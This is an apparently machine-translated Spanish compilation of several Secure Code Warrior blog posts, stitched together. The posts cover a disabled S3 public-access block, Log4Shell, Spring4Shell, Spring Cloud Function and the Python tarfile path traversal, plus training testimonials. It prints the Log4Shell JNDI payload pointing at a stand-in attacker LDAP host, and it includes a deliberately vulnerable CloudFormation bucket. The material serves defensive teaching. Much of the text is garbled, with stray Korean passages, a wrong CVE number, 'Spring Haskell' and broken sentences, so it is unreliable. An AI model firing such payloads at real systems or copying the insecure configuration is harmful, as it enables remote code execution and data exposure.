Insights sobre códigos de seguridad

Hoy en día, las amenazas a la ciberseguridad están por todas partes y son constantes. A medida que más aspectos de nuestra vida se digitalizan, también aumenta el riesgo de sufrir delitos cibernéticos. Hay demasiados códigos que proteger y los datos personales son demasiado valiosos. Además, después de implementar un programa, resulta casi imposible estar al día y defender todos los aspectos de la superficie de ataque.

Hay formas de mitigar algunos de estos síntomas, y una de ellas se hace evidente cuando una organización inteligente adopta el concepto de IaC (Infraestructura como Código). Por supuesto, al igual que en otras áreas de desarrollo, hay algunos problemas de seguridad que deben superarse. Además, dado que los desarrolladores están creando el código que genera la infraestructura necesaria para alojar las aplicaciones, es muy importante que sean conscientes de la seguridad en todas las etapas del proceso.

Entonces, ¿cuál es exactamente la forma en que los desarrolladores que se enfrentan por primera vez al entorno de servidores en la nube pueden aprender la tecnología, adquirir destreza y reforzar su conciencia sobre la seguridad mientras se familiarizan con la compilación? Hemos creado la próxima serie Coders Conquer Security para abordar las vulnerabilidades comunes de IaC.Y en las próximas entradas del blog nos centraremos en los pasos que pueden dar los desarrolladores para empezar a implementar la infraestructura de seguridad en forma de código en sus organizaciones .

¿Empezamos?

Hay una fábula sobre un hombre que aparece en el Viejo Oeste americano. Es la historia de un hombre que mostraba síntomas delirantes, creyendo que unos bandidos iban a atacar y saquear su granja. Para compensar esto, instaló una puerta de entrada muy resistente, cerró todas las ventanas y guardó muchas armas al alcance de la mano, invirtiendo en todo tipo de medidas de seguridad. Una noche, se olvidó de cerrar la puerta lateral y, mientras dormía, lo robaron. Los ladrones simplemente encontraron al guardia, que se había convertido en un obstáculo, y se aprovecharon rápidamente de la situación.

Desactivar las funciones de seguridad en la infraestructura es similar. Aunque la red cuente con una infraestructura de seguridad sólida, si los elementos están desactivados, no servirá de mucho.

Antes de empezar en serio, voy a intentar un reto.

Al visitar el enlace anterior, se le redirigirá a una plataforma educativa gamificada. Aquí podrá resolver inmediatamente las vulnerabilidades de las funciones de seguridad desactivadas. (Atención: se abre en Kubernetes, pero puede seleccionar entre Docker, CloudFormation, Terraform y Ansible utilizando el menú desplegable).

¿Cómo ha estado? Si aún tiene algo que hacer, lea la siguiente información.

Las funciones de seguridad pueden desactivarse por diversos motivos. En algunas aplicaciones y marcos, pueden estar desactivadas de forma predeterminada y es necesario activarlas primero para que funcionen. Además, es posible que el administrador haya desactivado determinadas funciones de seguridad para facilitar la realización de tareas específicas sin sufrir continuos desafíos o bloqueos (por ejemplo, al configurar un bucket de AWS S3 como público). Una vez completada la tarea, es posible que se olvide de volver a activar la función desactivada. También es posible que prefiera dejar la función desactivada para facilitar el trabajo más adelante.

¿Por qué es peligroso desactivar las funciones de seguridad?

No es recomendable desactivar una o más funciones de seguridad por varias razones. Una de ellas es que estas funciones se han añadido a los recursos de infraestructura para protegerlos contra exploits, amenazas o vulnerabilidades conocidas. Si se desactivan, los recursos quedarán desprotegidos.

Los atacantes siempre intentan encontrar primero las vulnerabilidades que pueden explotarse fácilmente y pueden utilizar scripts para detectar debilidades comunes. No es diferente a lo que hace un ladrón cuando revisa todos los coches de la calle para ver si alguna puerta está abierta. Es mucho más fácil que romper una ventana. Los hackers pueden sorprenderse al descubrir que las defensas de seguridad comunes están desactivadas, pero si esto ocurre, no tardarán mucho en explotarlo.

En segundo lugar, si se configura un buen sistema de seguridad y luego se desactiva, se crea una falsa sensación de seguridad. Si el administrador no sabe que alguien ha desactivado este sistema de defensa, puede pensar que está protegido contra las amenazas habituales.

Como ejemplo de cómo un atacante puede aprovechar una función de seguridad desactivada, consideremos la función de seguridad de AWS S3 denominada «bloqueo de acceso público». El bloqueo de acceso público de Amazon S3 permite a los administradores de cuentas y a los propietarios de buckets establecer fácilmente un control centralizado para restringir el acceso público a los recursos de Amazon S3.Sin embargo, algunos administradores que tienen problemas para acceder a los buckets de S3 deciden hacerlos públicos para completar sus tareas lo antes posible. Si se olvida de activar la función de seguridad, los atacantes tendrán acceso completo a la información almacenada en esos buckets de S3, lo que no solo provocará una fuga de información, sino que también generará costes adicionales por las tarifas de transferencia de datos.

Comparemos el código real. Eche un vistazo al siguiente fragmento de CloudFormation.

Vulnerable:

Empresa Bucket:
Tipo: AWS: :S3: :Bucket
Propiedades:
Configuración de bloqueo de acceso público:
Bloqueo de ACL pública: false
Bloqueo de política pública: false
Ignorar ACL pública: false
Restricción de bucket público: false
Configuración de control de versiones:
Estado: Activado
Cifrado de bucket:
Configuración de cifrado del lado del servidor:
- Cifrado del lado del servidor por defecto:
Algoritmo SSE: «AES 256»

Seguridad:

Empresa Bucket:
Tipo: AWS: :S3: :Bucket
Propiedad:
Configuración de bloqueo de acceso público:
Bloqueo de ACL pública: true
Bloqueo de política pública: true
Ignorar ACL pública: true
Restricción de bucket público: true
Configuración de control de versiones:
Estado: Activado
Cifrado de bucket:
Configuración de cifrado del lado del servidor:
- Cifrado del lado del servidor por defecto:
Algoritmo SSE: «AES 256»

Prevención de funciones de seguridad desactivadas

Evitar que las funciones de seguridad desactivadas tengan un impacto negativo en la organización es tanto una cuestión de práctica como de política. Debe existir una política firme que establezca que las funciones de seguridad solo deben desactivarse en situaciones muy específicas. Deben registrarse los casos en los que sea necesario desactivar temporalmente una función para resolver un problema o actualizar una aplicación. Una vez completadas las tareas necesarias, debe comprobarse que la función se ha reactivado por completo.

Para simplificar las operaciones, si es necesario desactivar permanentemente las funciones de seguridad, se deben proporcionar otras funciones de protección a los datos afectados para que los hackers no puedan acceder a ellos si no se dispone de la protección básica. Si se desactivan las funciones de protección necesarias, es solo cuestión de tiempo que los atacantes encuentren una puerta abierta y se aprovechen de la situación.

Infórmese detalladamente y póngase a prueba.

Compruébelo. Secure Code Warrior. Para obtener más información sobre esta vulnerabilidad y sobre cómo proteger a su organización y a sus clientes de los daños causados por otras fallas y vulnerabilidades de seguridad, consulte la página del blog.

¿Ya ha leído la publicación y está listo para encontrar y corregir esta vulnerabilidad? Es hora de ponerse manos a la obra.Pruebe el desafío de seguridad gamificado de iAC. Perfeccione todas sus habilidades de ciberseguridad y manténgase al día Secure Code Warrior .

Esta serie es una serie semanal que aborda las ocho vulnerabilidades principales de la infraestructura como código. ¡Vuelve la semana que viene para obtener más información!

En la entrada anterior del blog, se explicó Java Gotcha en relación con «operadores bit a bit frente a operadores booleanos».

• Java de alto nivel: operadores de bits frente a operadores booleanos

Hemos añadido una variante de esto y algunos otros Java Gotcha a un divertido cuestionario Sensei«Challenge The Sensei».

• scw.Typeform.com/to/RGW7Q7OE

Si ha leído la entrada del blog anterior, podrá responder al menos a una pregunta.

Pero puede que tus amigos no piensen lo mismo. Así que, si te parece divertido el cuestionario, compártelo con tus amigos y comprueba si obtienen tan buena puntuación como tú.

No es solo porque quiera hacer un cuestionario. Quiero utilizarlo para enseñar y sistematizar conocimientos. Por eso he creado un repositorio en Github con ejemplos de código ejecutables y soluciones para las preguntas.

• GitHub.com/Secure Code Warrior/Challenge the Sensei

Este es un repositorio activado por el profesor.

Al replicar el repositorio y cargarlo en IntelliJ (suponiendo que existe un código de seguridad), el complemento Sensei de IntelliJ se instala automáticamente. Comprueba que existesensei y carga Sensei .

Al explorar el código en el IDE, IntelliJ muestra un mensaje indicando que hay un error en el código, lo que facilita la identificación de problemas en el código.

• Al pasar el ratón por encima del código resaltado, aparecerá un mensaje indicando el error.
• Teclas de acción contextual: alt+enter (Windows) Opción+Enter (macOS) Para modificar el código, puede utilizar QuickFix.

Se ha añadido Sensei para lo siguiente.

• Operador por bits
• División de direcciones IP
• Orden de asalto

En el futuro, añadiremos más recetas y textos explicativos para tratar el resto del código. Sin embargo, eso no debe impedirle examinar el código y encontrar errores.

Y no olvides resolver el cuestionario.«Desafía a tu profesor».

El 9 de diciembre se hizo público un exploit de día cero de la biblioteca Java Log4j. CVE-44228, apodado Log4Shell, recibió una calificación de «alta gravedad» (RACE) debido a que el exploit permite la ejecución remota de código. Además, log4j-core es una de las bibliotecas de registro Java más utilizadas, lo que pone en riesgo a millones de aplicaciones.

¿Desea mejorar rápidamente las habilidades necesarias para manejar Log4Shell?

Partiendo de los conceptos básicos de Log4Shell, hemos creado una demostración en el simulador Mission para que pueda experimentar el abuso de esta vulnerabilidad. En esta misión, le mostraremos cómo la vulnerabilidad de Log4j puede afectar a la infraestructura y las aplicaciones. Haga clic aquí para ir directamente a la demostración osiga leyendo para obtener más información sobre esta vulnerabilidad.

¿Noticias antiguas?

Los exploits no son nada nuevo. Los investigadores de seguridad ya lo destacaron en la conferencia Black Hat de 2016, con Álvaro Muñoz y Oleksandr Mirosh. «Las aplicaciones no deben realizar consultas JNDI con datos no fiables».Explicaron cómo la inyección JNDI/LDAP objetivo puede conducir a la ejecución remota de código. Esto es precisamente el núcleo de Log4Shell.

Vector de ataque

La carga útil de inyección de Log4Shell es la siguiente.

$ {indi:ldap: //attacker.host/xyz}

이를 이해하려면 자바의 표현식 언어 (EL) 에 대해 알아야 합니다.다음 구문으로 작성된 표현식: $ {expr} 런타임에 평가됩니다.예를 들어 $ {java:version} 은 사용 중인 자바 버전을 반환합니다.

A continuación, JNDI es una API que permite buscar datos o recursos conectándose a servicios mediante protocolos como Java Naming and Directory Interface, LDAP, DNS, RMI, etc. En pocas palabras, en el ejemplo anterior de carga maliciosa, JNDI realiza una búsqueda en un servidor LDAP controlado por el atacante. Por ejemplo, la respuesta puede apuntar a un archivo de clase Java que contiene código malicioso, que, a cambio, se ejecuta en un servidor vulnerable.

El motivo por el que esta vulnerabilidad es tan problemática es que Log4j evalúa todas las entradas de registro y consulta todas las entradas de usuario registradas escritas con la sintaxis EL con el prefijo «jndi». La carga útil se puede insertar en cualquier lugar donde el usuario pueda introducir datos, como los campos de formulario.Además, los encabezados HTTP (por ejemplo, User-Agent y X-Forwarded-For, entre otros) pueden personalizarse para transmitir la carga útil.

Para experimentar directamente el exploit, vaya al escaparate y pase a la fase 2: «Impacto de la experiencia».

Prevención: Concienciación

Log4j está parcheando el código vulnerable, por lo que se recomienda actualizar todas las aplicaciones. Sin embargo, las versiones 2.15.0 y 2.16.0 contienen vulnerabilidades DDoS y otras, por lo que se recomienda actualizar a la versión 2.17.0 a partir de finales de diciembre.

Como desarrolladores que escribimos código, siempre debemos tener en cuenta la seguridad. Log4Shell nos ha enseñado que el uso de marcos o bibliotecas de terceros conlleva riesgos. Debemos tener presente que el uso de fuentes externas que ingenuamente consideramos seguras puede comprometer la seguridad de nuestras aplicaciones.

¿Se podría haber evitado esta vulnerabilidad? Sí y no. Por un lado, hay muchas cosas que los desarrolladores pueden hacer solo cuando los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección aprendida se ha repetido una y otra vez: nunca confíes en las entradas de los usuarios.

Secure Code Warrior cree que la mejor manera de evitar vulnerabilidades en el código es que los desarrolladores den prioridad a la seguridad. SCW ofrece formación a gran escala sobre marcos de programación específicos, lo que permitió a los clientes empresariales identificar rápidamente a los desarrolladores Java afectados utilizando los datos de los informes. Además, con la ayuda de expertos en seguridad formados por SCW, se aceleró la actualización de Log4j.

Secure Code Warrior ofrece Sensei, un complemento gratuito para IntelliJ, especialmente diseñado para desarrolladores Java. Esta herramienta de análisis de código basada en reglas se puede utilizar para aplicar directrices de codificación y prevenir y resolver vulnerabilidades. Se pueden crear reglas propias o utilizar reglas predefinidas. Libro de recetas. Eche un vistazo a nuestras recetas y no se olvide de descargar nuestro libro de recetas Log4j, que le ayudará a encontrar y resolver la vulnerabilidad Log4Shell en un abrir y cerrar de ojos.

Actualice sus tecnologías de defensa contra Log4Shell.

¿Desea aplicar lo aprendido en esta publicación del blog? El escaparate puede resultarle útil. Al iniciar el escaparate, se revisará rápidamente esta vulnerabilidad y, a continuación, se le dirigirá a un entorno de simulación en el que podrá intentar el exploit siguiendo las instrucciones proporcionadas.

‍

Recientemente, Spring Library, una de las bibliotecas más populares de la comunidad Java, ha revelado dos vulnerabilidades relacionadas con la ejecución remota de código (RCE). Para facilitar la comprensión del riesgo de que se produzcan vulnerabilidades y de las medidas que se deben tomar, se han clasificado los detalles conocidos sobre «Spring4Shell» y «Spring Cloud Function».

Vulnerabilidad 1 - «Spring 4 Shell» (CVE-2022-22965)

El 29 de marzo de 2022, la comunidad descubrió una serie de tuits que incluían capturas de pantalla de una prueba de concepto de un exploit dirigido a Spring Core (SC). Esto permite la ejecución remota de código en todas las versiones de Spring Core, incluida la versión más reciente, la 5.3.17.

¿Qué aplicaciones están en peligro?

Actualmente, solo las aplicaciones alojadas en Tomcat se han visto expuestas al riesgo de este nuevo exploit. Aunque no se ha demostrado que los ataques contra el contenedor de servlets Tomcat integrado o contra otras aplicaciones no alojadas en Tomcat hayan tenido éxito, no se puede descartar la posibilidad de que en el futuro se produzcan amenazas contra estos marcos.

Declaración oficial sobre el lanzamiento de Spring Describe las vulnerabilidades que, según el conocimiento actual, deben cumplir las siguientes condiciones para ser consideradas vulnerables.

• JDK 9 o superior
• Apache Tomcat como contenedor de servlets
• Empaquetado con WAR existente (en contraste con el archivo jar ejecutable de Spring Boot).
• Dependencia de Spring-webmvc o Spring-webflux
• Versiones 5.3.0~5.3.17, 5.2.0~5.2.19 y anteriores del marco Spring.

¿Cómo funciona el exploit «Spring4Shell»?

El abuso depende del uso de «enlace de datos» (org.SpringFramework.web.bind.WebDataBinder) en solicitudes que utilizan objetos Java antiguos (POJO) en la firma del método.

Aquí, la clase Foo es una clase POJO y se puede definir de la siguiente manera. Tenga en cuenta que la clase real no es importante, siempre y cuando sea cargada por el cargador de clases.

Al procesar solicitudes con este método, el cargador de clases se utiliza para resolver clases. El cargador de clases se encarga de cargar las clases en tiempo de ejecución sin necesidad de cargar previamente en memoria todos los tipos posibles. Cuando se utiliza una nueva clase, identifica el archivo .jar que se debe cargar.

La información más reciente y detallada sobre esta vulnerabilidad se puede consultar directamente en Spring. Publicación en el blog(incluye posibles correcciones o soluciones).

Vulnerabilidad 2: Función Spring Cloud (CVE-2022-22963)

El 27 de marzo de 2022, CyberKendra reveló detalles sobre una vulnerabilidad de ejecución remota de código (RCE) de día cero en Spring Cloud Functions para la que no existe ningún parche. A esta vulnerabilidad se le ha asignado el ID CVE-2022-22963: Vulnerabilidad de acceso a recursos de Spring Expression.

¿Qué aplicaciones están en peligro?

Esta vulnerabilidad afectó a la aplicación en las siguientes condiciones.

• JDK 9 o superior
• Versión 3.1.6 (o inferior), 3.2.2 (o inferior) o versiones no compatibles de Spring Cloud Functions.

¿Cómo se lleva a cabo la explotación?

La función Spring Cloud ofrece a los desarrolladores la capacidad de configurar la forma en que se procesa el enrutamiento a través de la propiedad spring.cloud.function.routing-expression, que normalmente se realiza mediante la configuración o el código. Se trata de una potente función que admite el «lenguaje de expresiones Spring» (SpEL). Se ha descubierto que, a través de esta vulnerabilidad de día cero, es posible configurar esta propiedad mediante el encabezado HTTP de la solicitud. Esto significa que un atacante puede ejecutar código arbitrario incrustando código SeL directamente en una solicitud HTTP al punto final RoutingFunction.

¿Qué medidas deben tomar los usuarios para mitigar el riesgo?

Las versiones públicas 3.1.7 y 3.2.3 de Spring Haskell resuelven este problema mitigando la vulnerabilidad al impedir que se configure esta propiedad a través del encabezado HTTP. No se requieren pasos adicionales después de actualizar a cualquiera de estas dos versiones.

¿Desea obtener más información sobre cómo ayudar a los desarrolladores a escribir código más seguro?Reserve una demostración o consulte nuestra guía gratuita de codificación segura : Security Code Coach.

‍

출처

• https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/
• https://www.rapid7.com/blog/post/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework/

‍

Recientemente, un equipo de investigadores de seguridad anunció que había descubierto un error de 15 años en la función de extracción de archivos tar de Python. Esta vulnerabilidad se reveló por primera vez en 2007 y se le asignó el número CVE-2007-4559. Se añadió una nota a la documentación oficial de Python, pero el error en sí no se corrigió.

Esta vulnerabilidad puede afectar a miles de proyectos de software, pero muchas personas no están familiarizadas con la situación en la que se encuentran ni con cómo gestionarla. Por eso estamos aquí. Secure Code Warrior simula directamente el aprovechamiento de esta vulnerabilidad para que pueda experimentar de primera mano el mecanismo de este error permanente. ¡Así podrá proteger mejor sus aplicaciones!

Simulación de misión ahora.

Vulnerabilidad: exploración de rutas durante la extracción de archivos tar.

La exploración de rutas o directorios se produce cuando las entradas de usuario no eliminadas ayudan a configurar la ruta del archivo. Esto permite a los atacantes acceder al archivo, sobrescribirlo y modificar código arbitrario.

Esta vulnerabilidad se encuentra en Python. El módulo tar.tar (archivo de cinta) es un único archivo denominado archivo. Empaqueta varios archivos junto con metadatos y, por lo general, se puede reconocer por el espacio .tar.gz o .tgz. Cada miembro del archivo descomprimido puede ser lo siguiente. Archivo de información tar Objeto que contiene metadatos como el nombre del archivo, la hora de modificación, la propiedad, etc.

Existe el riesgo de que se pueda volver a extraer el archivo.

Al extraer, se necesita un nombre para todos los miembros. Esta ubicación apunta a la ruta del archivo predeterminado.

Una vez creada esta ruta, se transfiere a la siguiente ruta. Archivo tar. Extraer o Archivo tar.Extracción completa Función que realiza la extracción:

El problema con los archivos aquí es la falta de higiene en los nombres. Los atacantes pueden cambiar los nombres de los archivos para incluir caracteres de exploración de rutas como los siguientes. Si se utilizan dos puntos y dos barras (../), el archivo original puede convertirse en

Si sabes cómo identificar vulnerabilidades, estas también aparecerán en otros escenarios. La vulnerabilidad de Python al procesar archivos tar es la siguiente: extracción de archivos zip. Es posible que ya conozcas este contenido con el siguiente nombre: vulnerabilidad zip slip. ¡Su verdadero valor también se ha puesto de manifiesto en otros lenguajes distintos de Python!

Enlace de misión 

¿Cómo se puede mitigar el riesgo?

<<이 취약점이 수년간 우리에게 다가왔어요. 파이썬 기능이 제대로 작동하고 있다고 생각해요. 해야 할 일.이 경우 “버그가 기능이야” 라고 말하는 사람이 없는 것입니다.안타깝게도 개발자들이 알 수 없는 곳에서 tar 또는 zip 파일을 추출하는 것을 항상 기억할 수 없습니다.보안 관행의 일환으로 경로 탐색 취약점을 지키기 위해 최선을 다하는 것은 개발자의 몫입니다.

¿Desea obtener más información sobre cómo escribir código seguro con Python y mitigar los riesgos?

Vea nuestro producto de prueba Python Challenge gratis.

Si está interesado en obtener más directrices de codificación gratuitas, vuelva a visitarnos. Secure Code Coach Security le ayuda a mantener sus prácticas al día.

‍

‍

Micha Martinez es analista de ciberseguridad y director de fotografía en Nelnet, una gran empresa estadounidense dedicada a la gestión y el reembolso de préstamos para estudios y servicios financieros educativos. Cuando se le encomendó la tarea de crear un programa de formación sobre codificación segura para desarrolladores, involucró al equipo de forma creativa. Nos impresionó mucho su forma de gestionar el programa de formación sobre codificación segura, por lo que nos reunimos con él para conocerlo mejor.

¿Cuál es la conclusión?

Fomente una cultura de seguridad y forme expertos en seguridad interna que puedan convertirse en una fuerza positiva dentro del equipo de desarrollo.

«Nos ha ayudado a hacer que la empresa sea más fuerte y segura, centrándonos en el código de seguridad».

Micha y su equipo de seguridad sabían desde el principio la importancia de crear un código de seguridad en Nelnet.Querían alcanzar este objetivo de una manera atractiva, relevante y gratificante. Descubrieron que, al identificar a los desarrolladores con un gran interés y dominio de la codificación segura y formarlos como campeones de la seguridad, estos se convertían en catalizadores del cambio de mentalidad en toda la formación en materia de seguridad. Estas personas se convierten en mentores de sus compañeros que necesitan más ayuda a nivel P2P y en líderes a la hora de implementar cambios en las prácticas de código seguro dentro de la organización.

A continuación se detallan los cambios que Micha y su equipo han introducido en la mentalidad y la cultura de prevención de la seguridad para hacer que la empresa sea «más fuerte y segura».

El derecho a presumir... y reducir las vulnerabilidades, eso es todo.

Micha no ofrece un programa de formación en seguridad convencional. Aprovecha su talento para la competición y el cine para hacer que los torneos sean muy interesantes y exitosos. Los desarrolladores obtienen conocimientos muy relevantes y prácticos, que les permiten crear códigos de seguridad más sólidos.

El refuerzo de la seguridad de los productos y la mayor protección frente a las vulnerabilidades del software también benefician a las empresas. El aprendizaje sobre seguridad del software no tiene por qué ser una experiencia aburrida y típica en la que solo hay que marcar casillas. Los desarrolladores desean una experiencia formativa que no solo esté relacionada con su trabajo diario, sino que también sea inmersiva y desafiante.

Micha habla sobre cómo hacer que la formación en seguridad informática resulte divertida mediante un torneo con premios que incluyen el cinturón del campeonato real y La WrestleMania. Para que la seguridad del equipo sea una prioridad, solo se necesita un poco de sana competencia.

¿Hay alguien a quien no le guste tener algo de lo que presumir?

‍

Adopte una cultura centrada en la codificación segura... Las herramientas por sí solas no son suficientes.

Misha pensó en una razón más por la que recomendaría Secure Code Warrior. A través de la plataforma, pudo crear una cultura preventiva y aprender de forma activa. También le llevó tiempo crear el programa educativo e invirtió en desarrolladores con buenos resultados y formación. Se necesita una cultura innovadora para que cada desarrollador pueda cultivar las habilidades necesarias para adoptar de forma segura un enfoque preventivo de la codificación.

Escuchemos más de lo que Micha tiene que decir sobre por qué adoptar una cultura de codificación segura marca una gran diferencia con Secure Code Warrior.

Secure Code Warrior ofrece una plataforma de aprendizaje de codificación segura, inmersiva y atractiva para desarrolladores. ¿Le interesa ver una demostración? Reserve una cita a continuación.

Nos sentamos con Larry Maccherone de Contrast Security, líder en seguridad de aplicaciones modernizadas, que incorpora el análisis de código y la prevención de ataques directamente en el software. Hablamos de cómo el aprendizaje contextual funciona con éxito para formar a los desarrolladores en la codificación segura.

Los desarrolladores de hoy en día tienen cada vez más la tarea de detener las brechas de ciberseguridad del mañana. Aunque puede haber formación sobre las vulnerabilidades del código, a menudo se ofrece en formatos poco atractivos que no son relevantes para el trabajo diario de los desarrolladores. Los desarrolladores necesitan escribir código rápidamente para satisfacer las necesidades de los clientes, lo que retrasa los objetivos empresariales, como la formación. Y cuando esa formación se ofrece fuera de contexto y en forma de largas presentaciones o manuales de estudio, resulta aún más desalentadora, lo que hace difícil ver el beneficio del esfuerzo adicional. 

¿Cómo pueden las organizaciones proporcionar formación clave en materia de seguridad a los desarrolladores sin interrumpir sus responsabilidades diarias ni alejarlos de sus herramientas y flujos de trabajo preferidos? 

La respuesta es sencilla. Utilizando el aprendizaje contextual y proporcionando formación al alcance de los desarrolladores. Larry explica por qué esto es tan poderoso para los desarrolladores en el siguiente vídeo.

‍
Al integrar las oportunidades de formación al mismo tiempo que los desarrolladores revisan los problemas del código, reciben inmediatamente la información más relevante para el problema o la vulnerabilidad identificados. Además, como la formación se imparte en trozos más pequeños y digeribles, es más probable que los desarrolladores retengan la información y eviten el uso de código vulnerable en el futuro. Como dice Larry, "la retroalimentación es la clave del aprendizaje".

La conclusión es que los desarrolladores necesitan hacer más en menos tiempo y entregar un código seguro y de alta calidad. Si se incorpora una formación contextualizada y específica para la vulnerabilidad del código, se optimizan los flujos de trabajo y la experiencia de los desarrolladores y se aumenta su retención. Escuche a Larry sobre cómo puede ahorrar esas 40 horas de formación.

‍
Secure Code Warrior ofrece integraciones técnicas que proporcionan aprendizaje contextual e hiperpertinente a sus equipos de desarrollo y seguridad.

¿Está interesado en una demostración? Reserve una a continuación. 

‍

El ciclo de vida del desarrollo de software (SDLC) parece bastante inofensivo. Se trata de un proceso en el que todos los responsables de software aunamos fuerzas para crear algo mágico y presentar productos digitales imprescindibles para la sociedad.

Sin embargo, si alguna vez has participado en un proyecto de desarrollo de software, sabrás que se trata de un proyecto difícil, con misiones que hay que completar y obstáculos que hay que superar. Aunque al principio puede resultar divertido, el agotamiento es una realidad. Debido a la demanda de software, todos trabajamos a toda velocidad en los mejores momentos. Esto es especialmente cierto en el caso de los equipos de desarrollo.

Ahora imagina que se les asigna otra tarea que deben realizar sin falta. Se trata de la responsabilidad sobre la seguridad de los elementos del proyecto con los que entran en contacto. Esto puede suponer, en el peor de los casos, que el castillo de naipes de algunas personas se derrumbe. Sin embargo, un escenario más realista es que, al no haber prioridades establecidas, se dé prioridad a los problemas que se consideran más urgentes. Y si la mayoría de los desarrolladores no reciben formación para programar de forma segura (especialmente cuando los administradores no dan prioridad a la seguridad), no es de extrañar que se produzcan frecuentes fugas de datos, se lancen aplicaciones defectuosas y se generen enormes cantidades de código con errores, lo que provoca un grave desgaste entre los expertos en seguridad.

Los desarrolladores necesitan el apoyo de AppSec.

Si observamos el escenario anterior, podemos comprender por qué la seguridad se incluye en la categoría de «demasiado difícil» en el proceso de codificación y se deja en manos del equipo de seguridad. Hay demasiados plazos que cumplir, la formación es insuficiente y, con todo lo demás que hay que hacer, no hay motivo para preocuparse por la seguridad.Sin embargo, para mantener esta situación, la demanda de código es demasiado alta. Es aquí donde los desarrolladores de primer nivel pueden destacar sobre sus compañeros, aprender nuevas tecnologías y, sobre todo, crear código más seguro.

Sin embargo, hay que recordar que la gestión de la seguridad del software no es responsabilidad de los desarrolladores. Sigue siendo competencia del equipo de AppSec (cuando se trabaja con desarrolladores con conocimientos de seguridad, se puede ganar más tiempo en lugar de corregir repetidamente errores comunes). Para que el proceso DevSecOps funcione correctamente, todos los miembros del equipo deben contar con el apoyo y las herramientas necesarias para compartir la responsabilidad de la seguridad. Lo mejor es una formación adecuada. Para lograr el equilibrio adecuado entre las herramientas y la formación, se necesita la visión de un experto en AppSec que trabaje en estrecha colaboración con los desarrolladores para inspirar y liderar un cambio positivo.

El entrenamiento destructivo es más molesto que eficaz, y lo que resulta desagradable para los desarrolladores no es eficaz. Una alternativa es una solución integrada de IDE o gestor de incidencias centrada en conocimientos sencillos, que proporciona a los usuarios la información adecuada en el momento preciso en que la necesitan.

El principio de funcionamiento es el siguiente.

No «por si acaso», sino en el momento y lugar adecuados.

El aprendizaje práctico adaptado a cada situación es, sin duda, el método de formación más eficaz, y se imparte en pequeñas dosis cuando es más adecuado. También se conoce como formación «Just in Time» (Jit) y resulta muy útil para los desarrolladores que aprenden codificación segura.

El principio de fabricación ajustada de Toyota, que incluye el origen, y la formación JIT están diseñados para activarse en el momento más importante según las necesidades de cada situación. ¿Acaba de escribir el desarrollador algo que parece tener permisos inadecuados? ¿Qué pasaría si se abriera una pequeña puerta trasera y un atacante pudiera ejecutar código de forma remota?Sería mucho más memorable si los desarrolladores pudieran acceder al conocimiento cuando lo necesitaran, en lugar de buscar documentos en Confluence o buscar en Google lo que se ha tratado en los cursos de formación.

Just-in-Time es todo lo contrario al aprendizaje «por si acaso». Aunque este último es el método más habitual para transmitir conocimientos, no es eficaz. Debemos facilitar a los desarrolladores el uso de las mejores prácticas de codificación segura y mostrarles las ventajas que pueden obtener a lo largo de su carrera profesional, sin perder de vista los objetivos principales en los que están trabajando actualmente.

No obliguen a los desarrolladores a seguir la formación.

Ya sabemos que las horas de trabajo son excesivas. Entonces, ¿qué incentivo se necesitaría para que los desarrolladores acudieran a las aulas o siguieran cinco pasos para acceder a una formación teórica estática mediante un cambio de contexto?

La opinión generalizada es que, por muchas vulnerabilidades que existan que puedan provocar violaciones de datos, la mayoría de las organizaciones no pueden hacer gran cosa al respecto. El informe de Verizon sobre violaciones de datos de 2020 afirma lo siguiente : El 43 % de las violaciones de datos pueden deberse a vulnerabilidades web. Los desarrolladores no reciben una formación eficaz. No se trata de una formación superior ni de medidas de mejora de las habilidades en el lugar de trabajo. Entonces, ¿qué vulnerabilidades comunes se pueden mencionar? La inyección SQL, la vieja escuela, etc. La navegación por rutas no se utilizará para causar una pérdida significativa de datos, y la falta de habilidades en ciberseguridad no será incontrolable.

¿Por qué nos sorprende que los resultados no sean buenos, sabiendo que los desarrolladores reciben formación y aprenden sobre seguridad en el entorno actual? Ofrecer una experiencia formativa más fluida, integrada y menos molesta, accesible desde los espacios de trabajo reales, como Jira, GitHub o IDE, puede tener un impacto positivo tanto para los desarrolladores como para las organizaciones. La industria ya no puede permitirse el lujo de quedarse atrás, sino que debe avanzar y facilitar la concienciación sobre la seguridad.

¿Está listo para proteger su flujo de trabajo de desarrollo?

Los desarrolladores con conocimientos sólidos en materia de seguridad son muy valorados por las organizaciones, ya que aportan tecnologías y funciones de protección desde la fase de programación. La seguridad ya no es una opción, sino una necesidad, sobre todo debido al aumento de las multas por incumplimiento del RGPD, las normas de cumplimiento PCI-DSS, la gobernanza NIST... y el riesgo de demandas colectivas millonarias, como la de A'la Equifax.

El enfoque integrado puede ser un catalizador para atraer la atención de los desarrolladores con un aprendizaje menos disruptivo. Puede crear una ruta para cursos en profundidad, formar a expertos en seguridad y fomentar la responsabilidad compartida necesaria para proteger los datos de todo el mundo. Descargue las herramientas integradas para

en Jira y GitHub. Ahora, cuéntenos qué opina.

El reciente informe del investigador de seguridad juvenil Bill Demircapi sobre la exposición de vulnerabilidades importantes en el software que se utilizaba en su escuela me trajo recuerdos. Recuerdo que, cuando era un niño curioso, levantaba la tapa del software para mirar debajo y ver cómo funcionaba. Y lo que es más importante, si podía romperlo. Durante décadas, los ingenieros de software han buscado mejorar y reforzar continuamente sus productos, y la comunidad de seguridad (a veces con un enfoque un poco descarado) desempeña un papel importante en la detección de fallos y posibles desastres. Antes de que lo hagan personas malintencionadas.

Pero el problema aquí es que, como reacción a lo que descubrió, recibió una leve sanción disciplinaria. Y eso ocurrió solo después de que agotara todos los medios a su alcance para ponerse en contacto con la empresa (Follett Corporation). En privado, finalmente optó por una explosión bastante pública para identificarse a sí mismo y su capacidad para violar el sistema. Sus repetidos intentos de alertar éticamente a Follett Corporation no obtuvieron respuesta alguna. El software seguía siendo vulnerable y los datos de los estudiantes, acumulados en montones, no estaban encriptados, por lo que podían exponerse fácilmente.

También encontró errores en Blackboard, un software de otra empresa. Aunque los datos de Blackboard contaban con al menos una función de cifrado, los posibles atacantes podían acceder a millones de registros y robar muchos más. Su escuela utilizaba tanto este software como los productos de Follett.

La expresión «hacker malicioso» plantea un problema.

